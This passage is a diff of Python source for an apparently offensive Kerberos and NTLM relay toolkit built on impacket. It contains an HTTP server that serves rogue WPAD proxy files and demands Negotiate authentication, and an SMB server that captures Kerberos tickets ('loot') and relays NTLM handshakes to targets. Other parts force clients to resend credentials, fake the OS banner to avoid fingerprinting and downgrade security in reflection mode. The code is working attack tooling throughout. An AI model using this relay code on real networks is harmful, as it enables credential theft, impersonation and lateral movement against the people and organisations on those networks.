|
||||
|
||||
# NTLMSSP
|
||||
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
|
||||
blob['MechToken'] = str(negotiateMessage)
|
||||
|
||||
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
|
||||
sessionSetup['Parameters'].getData()
|
||||
sessionSetup['Data']['SecurityBlob'] = blob.getData()
|
||||
|
||||
# Fake Data here, don't want to get us fingerprinted
|
||||
sessionSetup['Data']['NativeOS'] = 'Unix'
|
||||
sessionSetup['Data']['NativeLanMan'] = 'Samba'
|
||||
|
||||
smb.addCommand(sessionSetup)
|
||||
v1client.sendSMB(smb)
|
||||
smb = v1client.recvSMB()
|
||||
|
||||
try:
|
||||
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
except Exception:
|
||||
LOG.error("SessionSetup Error!")
|
||||
raise
|
||||
else:
|
||||
# We will need to use this uid field for all future requests/responses
|
||||
v1client.set_uid(smb['Uid'])
|
||||
|
||||
# Now we have to extract the blob to continue the auth process
|
||||
sessionResponse = SMBCommand(smb['Data'][0])
|
||||
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
|
||||
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
|
||||
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
|
||||
sessionData.fromString(sessionResponse['Data'])
|
||||
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
|
||||
|
||||
return respToken['ResponseToken']
|
||||
|
||||
def sendStandardSecurityAuth(self, sessionSetupData):
|
||||
v1client = self.session.getSMBServer()
|
||||
flags2 = v1client.get_flags()[1]
|
||||
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
|
||||
if sessionSetupData['Account'] != '':
|
||||
smb = NewSMBPacket()
|
||||
smb['Flags1'] = 8
|
||||
|
||||
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
|
||||
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
|
||||
|
||||
sessionSetup['Parameters']['MaxBuffer'] = 65535
|
||||
sessionSetup['Parameters']['MaxMpxCount'] = 2
|
||||
sessionSetup['Parameters']['VCNumber'] = os.getpid()
|
||||
sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
|
||||
sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
|
||||
sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
|
||||
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
|
||||
|
||||
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
|
||||
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
|
||||
sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
|
||||
sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain'])
|
||||
sessionSetup['Data']['NativeOS'] = 'Unix'
|
||||
sessionSetup['Data']['NativeLanMan'] = 'Samba'
|
||||
|
||||
smb.addCommand(sessionSetup)
|
||||
|
||||
v1client.sendSMB(smb)
|
||||
smb = v1client.recvSMB()
|
||||
try:
|
||||
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
except:
|
||||
return None, STATUS_LOGON_FAILURE
|
||||
else:
|
||||
v1client.set_uid(smb['Uid'])
|
||||
return smb, STATUS_SUCCESS
|
||||
else:
|
||||
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
|
||||
clientResponse = None
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
|
||||
return clientResponse, errorCode
|
||||
|
||||
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
|
||||
if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
|
||||
# We need to wrap the NTLMSSP into SPNEGO
|
||||
respToken2 = SPNEGO_NegTokenResp()
|
||||
respToken2['ResponseToken'] = str(authenticateMessageBlob)
|
||||
authData = respToken2.getData()
|
||||
else:
|
||||
authData = str(authenticateMessageBlob)
|
||||
|
||||
if self.session.getDialect() == SMB_DIALECT:
|
||||
token, errorCode = self.sendAuthv1(authData, serverChallenge)
|
||||
else:
|
||||
token, errorCode = self.sendAuthv2(authData, serverChallenge)
|
||||
return token, errorCode
|
||||
|
||||
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
|
||||
v2client = self.session.getSMBServer()
|
||||
|
||||
sessionSetup = SMB2SessionSetup()
|
||||
sessionSetup['Flags'] = 0
|
||||
|
||||
packet = v2client.SMB_PACKET()
|
||||
packet['Command'] = SMB2_SESSION_SETUP
|
||||
packet['Data'] = sessionSetup
|
||||
|
||||
# Reusing the previous structure
|
||||
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
|
||||
sessionSetup['Buffer'] = authenticateMessageBlob
|
||||
|
||||
packetID = v2client.sendSMB(packet)
|
||||
packet = v2client.recvSMB(packetID)
|
||||
|
||||
return packet, packet['Status']
|
||||
|
||||
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
|
||||
v1client = self.session.getSMBServer()
|
||||
|
||||
smb = NewSMBPacket()
|
||||
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
|
||||
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
|
||||
# Are we required to sign SMB? If so we do it, if not we skip it
|
||||
if v1client.is_signing_required():
|
||||
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||
smb['Uid'] = v1client.get_uid()
|
||||
|
||||
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
|
||||
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
|
||||
|
||||
sessionSetup['Parameters']['MaxBufferSize'] = 65535
|
||||
sessionSetup['Parameters']['MaxMpxCount'] = 2
|
||||
sessionSetup['Parameters']['VcNumber'] = 1
|
||||
sessionSetup['Parameters']['SessionKey'] = 0
|
||||
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
|
||||
|
||||
# Fake Data here, don't want to get us fingerprinted
|
||||
sessionSetup['Data']['NativeOS'] = 'Unix'
|
||||
sessionSetup['Data']['NativeLanMan'] = 'Samba'
|
||||
|
||||
sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
|
||||
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
|
||||
smb.addCommand(sessionSetup)
|
||||
v1client.sendSMB(smb)
|
||||
|
||||
smb = v1client.recvSMB()
|
||||
|
||||
errorCode = smb['ErrorCode'] << 16
|
||||
errorCode += smb['_reserved'] << 8
|
||||
errorCode += smb['ErrorClass']
|
||||
|
||||
return smb, errorCode
|
||||
|
||||
def getStandardSecurityChallenge(self):
|
||||
if self.session.getDialect() == SMB_DIALECT:
|
||||
return self.session.getSMBServer().get_encryption_key()
|
||||
else:
|
||||
return None
|
||||
@@ -0,0 +1,2 @@
|
||||
from httprelayserver import HTTPKrbRelayServer
|
||||
from smbrelayserver import SMBRelayServer
|
||||
@@ -0,0 +1,112 @@
|
||||
import SimpleHTTPServer
|
||||
import SocketServer
|
||||
import socket
|
||||
import base64
|
||||
import random
|
||||
import string
|
||||
import traceback
|
||||
from threading import Thread
|
||||
from urlparse import urlparse
|
||||
|
||||
from impacket import ntlm, LOG
|
||||
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
|
||||
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
|
||||
from impacket.examples.ntlmrelayx.servers import HTTPRelayServer
|
||||
from lib.utils.kerberos import get_kerberos_loot
|
||||
|
||||
class HTTPKrbRelayServer(HTTPRelayServer):
|
||||
"""
|
||||
HTTP Kerberos relay server. Mostly extended from ntlmrelayx.
|
||||
Only required functions are overloaded
|
||||
"""
|
||||
|
||||
class HTTPHandler(HTTPRelayServer.HTTPHandler):
|
||||
def __init__(self,request, client_address, server):
|
||||
self.server = server
|
||||
self.protocol_version = 'HTTP/1.1'
|
||||
self.challengeMessage = None
|
||||
self.client = None
|
||||
self.machineAccount = None
|
||||
self.machineHashes = None
|
||||
self.domainIp = None
|
||||
self.authUser = None
|
||||
self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
|
||||
LOG.info("HTTPD: Received connection from %s, prompting for authentication", client_address[0])
|
||||
try:
|
||||
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
|
||||
except Exception, e:
|
||||
LOG.error(str(e))
|
||||
LOG.debug(traceback.format_exc())
|
||||
|
||||
def do_GET(self):
|
||||
messageType = 0
|
||||
if self.server.config.mode == 'REDIRECT':
|
||||
self.do_SMBREDIRECT()
|
||||
return
|
||||
|
||||
LOG.info('HTTPD: Client requested path: %s' % self.path.lower())
|
||||
|
||||
# Serve WPAD if:
|
||||
# - The client requests it
|
||||
# - A WPAD host was provided in the command line options
|
||||
# - The client has not exceeded the wpad_auth_num threshold yet
|
||||
if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
|
||||
LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
|
||||
self.serve_wpad()
|
||||
return
|
||||
|
||||
# Determine if the user is connecting to our server directly or attempts to use it as a proxy
|
||||
if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
|
||||
proxy = True
|
||||
else:
|
||||
proxy = False
|
||||
|
||||
# TODO: Handle authentication that isn't complete the first time
|
||||
if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None):
|
||||
self.do_AUTHHEAD(message='Negotiate', proxy=proxy)
|
||||
return
|
||||
else:
|
||||
if proxy:
|
||||
auth_header = self.headers.getheader('Proxy-Authorization')
|
||||
else:
|
||||
auth_header = self.headers.getheader('Authorization')
|
||||
try:
|
||||
_, blob = auth_header.split('Negotiate')
|
||||
token = base64.b64decode(blob.strip())
|
||||
except:
|
||||
self.do_AUTHHEAD(message='Negotiate', proxy=proxy)
|
||||
return
|
||||
|
||||
# If you're looking for the magic, it's in lib/utils/kerberos.py
|
||||
authdata = get_kerberos_loot(token, self.server.config)
|
||||
|
||||
# If we are here, it was succesful
|
||||
|
||||
# Are we in attack mode? If so, launch attack against all targets
|
||||
if self.server.config.mode == 'ATTACK':
|
||||
self.do_attack(authdata)
|
||||
|
||||
# And answer 404 not found
|
||||
self.send_response(404)
|
||||
self.send_header('WWW-Authenticate', 'Negotiate')
|
||||
self.send_header('Content-type', 'text/html')
|
||||
self.send_header('Content-Length','0')
|
||||
self.send_header('Connection','close')
|
||||
self.end_headers()
|
||||
return
|
||||
|
||||
def do_attack(self, authdata):
|
||||
self.authUser = '%s/%s' % (authdata['domain'], authdata['username'])
|
||||
# No SOCKS, since socks is pointless when you can just export the tickets
|
||||
# instead we iterate over all the targets
|
||||
for target in self.server.config.target.originalTargets:
|
||||
parsed_target = target
|
||||
if parsed_target.scheme.upper() in self.server.config.attacks:
|
||||
client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target)
|
||||
client.initConnection(authdata, self.server.config.dcip)
|
||||
# We have an attack.. go for it
|
||||
attack = self.server.config.attacks[parsed_target.scheme.upper()]
|
||||
client_thread = attack(self.server.config, client.session, self.authUser)
|
||||
client_thread.start()
|
||||
else:
|
||||
LOG.error('No attack configured for %s', parsed_target.scheme.upper())
|
||||
@@ -0,0 +1,570 @@
|
||||
# Copyright (c) 2013-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# SMB Relay Server
|
||||
#
|
||||
# Authors:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
|
||||
#
|
||||
# Description:
|
||||
# This is the SMB server which relays the connections
|
||||
# to other protocols
|
||||
|
||||
from threading import Thread
|
||||
import ConfigParser
|
||||
import struct
|
||||
import logging
|
||||
import time
|
||||
import calendar
|
||||
import random
|
||||
import string
|
||||
import socket
|
||||
|
||||
from binascii import hexlify
|
||||
from impacket import smb, ntlm, LOG, smb3
|
||||
from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS
|
||||
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
|
||||
from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
|
||||
from impacket.spnego import ASN1_AID, ASN1_SUPPORTED_MECH
|
||||
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
|
||||
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
|
||||
from impacket.smbserver import getFileTime
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from lib.utils.kerberos import get_kerberos_loot
|
||||
from lib.utils.spnego import GSSAPIHeader_SPNEGO_Init2, GSSAPIHeader_SPNEGO_Init, MechTypes, MechType, TypesMech, NegTokenResp, NegResult, NegotiationToken
|
||||
|
||||
class SMBRelayServer(Thread):
|
||||
def __init__(self,config):
|
||||
Thread.__init__(self)
|
||||
self.daemon = True
|
||||
self.server = 0
|
||||
#Config object
|
||||
self.config = config
|
||||
#Current target IP
|
||||
self.target = None
|
||||
#Targets handler
|
||||
self.targetprocessor = self.config.target
|
||||
#Username we auth as gets stored here later
|
||||
self.authUser = None
|
||||
self.proxyTranslator = None
|
||||
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file','smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
if self.config.smb2support is True:
|
||||
smbConfig.set("global", "SMB2Support", "True")
|
||||
else:
|
||||
smbConfig.set("global", "SMB2Support", "False")
|
||||
|
||||
if self.config.outputFile is not None:
|
||||
smbConfig.set('global','jtr_dump_path',self.config.outputFile)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path','')
|
||||
|
||||
# Change address_family to IPv6 if this is configured
|
||||
if self.config.ipv6:
|
||||
SMBSERVER.address_family = socket.AF_INET6
|
||||
|
||||
# changed to dereference configuration interfaceIp
|
||||
self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig)
|
||||
logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
|
||||
|
||||
self.server.processConfigFile()
|
||||
|
||||
self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
|
||||
self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
|
||||
|
||||
self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
|
||||
self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
|
||||
# Let's use the SMBServer Connection dictionary to keep track of our client connections as well
|
||||
#TODO: See if this is the best way to accomplish this
|
||||
|
||||
# changed to dereference configuration interfaceIp
|
||||
self.server.addConnection('SMBRelay', config.interfaceIp, 445)
|
||||
|
||||
### SMBv2 Part #################################################################
|
||||
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
|
||||
connData = smbServer.getConnectionData(connId, checkStatus=False)
|
||||
|
||||
|
||||
LOG.info("SMBD: Received connection from %s" % (connData['ClientIP']))
|
||||
|
||||
respPacket = smb3.SMB2Packet()
|
||||
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
|
||||
respPacket['Status'] = STATUS_SUCCESS
|
||||
respPacket['CreditRequestResponse'] = 1
|
||||
respPacket['Command'] = smb3.SMB2_NEGOTIATE
|
||||
respPacket['SessionID'] = 0
|
||||
|
||||
if isSMB1 is False:
|
||||
respPacket['MessageID'] = recvPacket['MessageID']
|
||||
else:
|
||||
respPacket['MessageID'] = 0
|
||||
|
||||
respPacket['TreeID'] = 0
|
||||
|
||||
respSMBCommand = smb3.SMB2Negotiate_Response()
|
||||
|
||||
# Just for the Nego Packet, then disable it
|
||||
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
|
||||
|
||||
if isSMB1 is True:
|
||||
# Let's first parse the packet to see if the client supports SMB2
|
||||
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
|
||||
|
||||
dialects = SMBCommand['Data'].split('\x02')
|
||||
if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
|
||||
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
|
||||
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
|
||||
else:
|
||||
# Client does not support SMB2 fallbacking
|
||||
raise Exception('SMB2 not supported, fallbacking')
|
||||
else:
|
||||
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
|
||||
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
|
||||
|
||||
respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
|
||||
respSMBCommand['Capabilities'] = 0
|
||||
respSMBCommand['MaxTransactSize'] = 65536
|
||||
respSMBCommand['MaxReadSize'] = 65536
|
||||
respSMBCommand['MaxWriteSize'] = 65536
|
||||
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
|
||||
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
|
||||
respSMBCommand['SecurityBufferOffset'] = 0x80
|
||||
|
||||
blob = GSSAPIHeader_SPNEGO_Init2()
|
||||
blob['tokenOid'] = '1.3.6.1.5.5.2'
|
||||
blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
|
||||
MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
|
||||
MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
|
||||
blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore"
|
||||
respSMBCommand['Buffer'] = encoder.encode(blob)
|
||||
|
||||
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
|
||||
|
||||
respPacket['Data'] = respSMBCommand
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return None, [respPacket], STATUS_SUCCESS
|
||||
|
||||
# This is SMB2
|
||||
def SmbSessionSetup(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId, checkStatus = False)
|
||||
#############################################################
|
||||
# SMBRelay
|
||||
smbData = smbServer.getConnectionData('SMBRelay', False)
|
||||
#############################################################
|
||||
|
||||
respSMBCommand = smb3.SMB2SessionSetup_Response()
|
||||
sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
|
||||
|
||||
connData['Capabilities'] = sessionSetupData['Capabilities']
|
||||
|
||||
securityBlob = sessionSetupData['Buffer']
|
||||
|
||||
rawNTLM = False
|
||||
if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
|
||||
# negTokenInit packet
|
||||
try:
|
||||
blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
|
||||
token = blob['innerContextToken']['negTokenInit']['mechToken']
|
||||
|
||||
if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0:
|
||||
# Is this GSSAPI NTLM or something else we don't support?
|
||||
mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0]
|
||||
if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \
|
||||
TypesMech['MS KRB5 - Microsoft Kerberos 5']:
|
||||
# Nope, do we know it?
|
||||
if MechTypes.has_key(str(mechType)):
|
||||
mechStr = MechTypes[str(mechType)]
|
||||
else:
|
||||
mechStr = mechType
|
||||
smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
|
||||
# We don't know the token, we answer back again saying
|
||||
# we just support Kerberos.
|
||||
respToken = NegotiationToken()
|
||||
respToken['negTokenResp']['negResult'] = 'request_mic'
|
||||
respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5']
|
||||
respTokenData = encoder.encode(respToken)
|
||||
respSMBCommand['SecurityBufferOffset'] = 0x48
|
||||
respSMBCommand['SecurityBufferLength'] = len(respTokenData)
|
||||
respSMBCommand['Buffer'] = respTokenData
|
||||
|
||||
return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
|
||||
else:
|
||||
# This is Kerberos, we can do something with this
|
||||
try:
|
||||
# If you're looking for the magic, it's in lib/utils/kerberos.py
|
||||
authdata = get_kerberos_loot(securityBlob, self.config)
|
||||
|
||||
# If we are here, it was succesful
|
||||
|
||||
# Are we in attack mode? If so, launch attack against all targets
|
||||
if self.config.mode == 'ATTACK':
|
||||
self.do_attack(authdata)
|
||||
|
||||
# This ignores all signing stuff
|
||||
# causes connection resets
|
||||
# Todo: reply properly!
|
||||
|
||||
respToken = NegotiationToken()
|
||||
# accept-completed
|
||||
respToken['negTokenResp']['negResult'] = 'accept_completed'
|
||||
|
||||
respSMBCommand['SecurityBufferOffset'] = 0x48
|
||||
respSMBCommand['SecurityBufferLength'] = len(respToken)
|
||||
respSMBCommand['Buffer'] = encoder.encode(respToken)
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return [respSMBCommand], None, STATUS_SUCCESS
|
||||
|
||||
# Somehow the function above catches all exceptions and hides them
|
||||
# which is pretty annoying
|
||||
except Exception, e:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
raise
|
||||
|
||||
pass
|
||||
except:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
else:
|
||||
# No GSSAPI stuff, we can't do anything with this
|
||||
smbServer.log("No negTokenInit sent by client", logging.CRITICAL)
|
||||
raise Exception('No negTokenInit sent by client')
|
||||
|
||||
respSMBCommand['SecurityBufferOffset'] = 0x48
|
||||
respSMBCommand['SecurityBufferLength'] = len(respToken)
|
||||
respSMBCommand['Buffer'] = respToken.getData()
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return [respSMBCommand], None, errorCode
|
||||
################################################################################
|
||||
|
||||
### SMBv1 Part #################################################################
|
||||
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId, checkStatus = False)
|
||||
if self.config.mode.upper() == 'REFLECTION':
|
||||
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
|
||||
|
||||
#TODO: Check if a cache is better because there is no way to know which target was selected for this victim
|
||||
# except for relying on the targetprocessor selecting the same target unless a relay was already done
|
||||
self.target = self.targetprocessor.getTarget()
|
||||
|
||||
#############################################################
|
||||
# SMBRelay
|
||||
# Get the data for all connections
|
||||
smbData = smbServer.getConnectionData('SMBRelay', False)
|
||||
|
||||
if smbData.has_key(self.target):
|
||||
# Remove the previous connection and use the last one
|
||||
smbClient = smbData[self.target]['SMBClient']
|
||||
del smbClient
|
||||
del smbData[self.target]
|
||||
|
||||
LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))
|
||||
|
||||
try:
|
||||
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
|
||||
extSec = False
|
||||
else:
|
||||
if self.config.mode.upper() == 'REFLECTION':
|
||||
# Force standard security when doing reflection
|
||||
LOG.debug("Downgrading to standard security")
|
||||
extSec = False
|
||||
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
|
||||
else:
|
||||
extSec = True
|
||||
|
||||
#Init the correct client for our target
|
||||
client = self.init_client(extSec)
|
||||
except Exception, e:
|
||||
LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
|
||||
self.targetprocessor.logTarget(self.target)
|
||||
else:
|
||||
smbData[self.target] = {}
|
||||
smbData[self.target]['SMBClient'] = client
|
||||
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
|
||||
smbServer.setConnectionData('SMBRelay', smbData)
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
|
||||
#############################################################
|
||||
|
||||
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
|
||||
connData = smbServer.getConnectionData(connId, checkStatus = False)
|
||||
#############################################################
|
||||
# SMBRelay
|
||||
smbData = smbServer.getConnectionData('SMBRelay', False)
|
||||
#############################################################
|
||||
|
||||
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
|
||||
if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
|
||||
# Extended security. Here we deal with all SPNEGO stuff
|
||||
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
|
||||
respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
|
||||
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
|
||||
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
|
||||
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
|
||||
sessionSetupData.fromString(SMBCommand['Data'])
|
||||
connData['Capabilities'] = sessionSetupParameters['Capabilities']
|
||||
|
||||
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
|
||||
# If there no GSSAPI ID, it must be an AUTH packet
|
||||
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
|
||||
token = blob['ResponseToken']
|
||||
else:
|
||||
# NEGOTIATE packet
|
||||
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
|
||||
token = blob['MechToken']
|
||||
|
||||
# Here we only handle NTLMSSP, depending on what stage of the
|
||||
# authentication we are, we act on it
|
||||
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
|
||||
|
||||
if messageType == 0x01:
|
||||
# NEGOTIATE_MESSAGE
|
||||
negotiateMessage = ntlm.NTLMAuthNegotiate()
|
||||
negotiateMessage.fromString(token)
|
||||
# Let's store it in the connection data
|
||||
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
|
||||
|
||||
#############################################################
|
||||
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
|
||||
# Let's send it to the target server and send the answer back to the client.
|
||||
client = smbData[self.target]['SMBClient']
|
||||
try:
|
||||
challengeMessage = self.do_ntlm_negotiate(client,token)
|
||||
except Exception, e:
|
||||
# Log this target as processed for this client
|
||||
self.targetprocessor.logTarget(self.target)
|
||||
# Raise exception again to pass it on to the SMB server
|
||||
raise
|
||||
|
||||
#############################################################
|
||||
|
||||
respToken = SPNEGO_NegTokenResp()
|
||||
# accept-incomplete. We want more data
|
||||
respToken['NegResult'] = '\x01'
|
||||
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
|
||||
respToken['ResponseToken'] = str(challengeMessage)
|
||||
|
||||
# Setting the packet to STATUS_MORE_PROCESSING
|
||||
errorCode = STATUS_MORE_PROCESSING_REQUIRED
|
||||
|
||||
# Let's set up an UID for this connection and store it
|
||||
# in the connection's data
|
||||
# Picking a fixed value
|
||||
# TODO: Manage more UIDs for the same session
|
||||
connData['Uid'] = 10
|
||||
|
||||
connData['CHALLENGE_MESSAGE'] = challengeMessage
|
||||
|
||||
elif messageType == 0x03:
|
||||
# AUTHENTICATE_MESSAGE, here we deal with authentication
|
||||
#############################################################
|
||||
# SMBRelay: Ok, so now the have the Auth token, let's send it
|
||||
# back to the target system and hope for the best.
|
||||
client = smbData[self.target]['SMBClient']
|
||||
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
|
||||
authenticateMessage.fromString(token)
|
||||
|
||||
if authenticateMessage['user_name'] != '':
|
||||
#For some attacks it is important to know the authenticated username, so we store it
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le'))).upper()
|
||||
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
else:
|
||||
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
|
||||
if errorCode != STATUS_SUCCESS:
|
||||
# Let's return what the target returned, hope the client connects back again
|
||||
packet = smb.NewSMBPacket()
|
||||
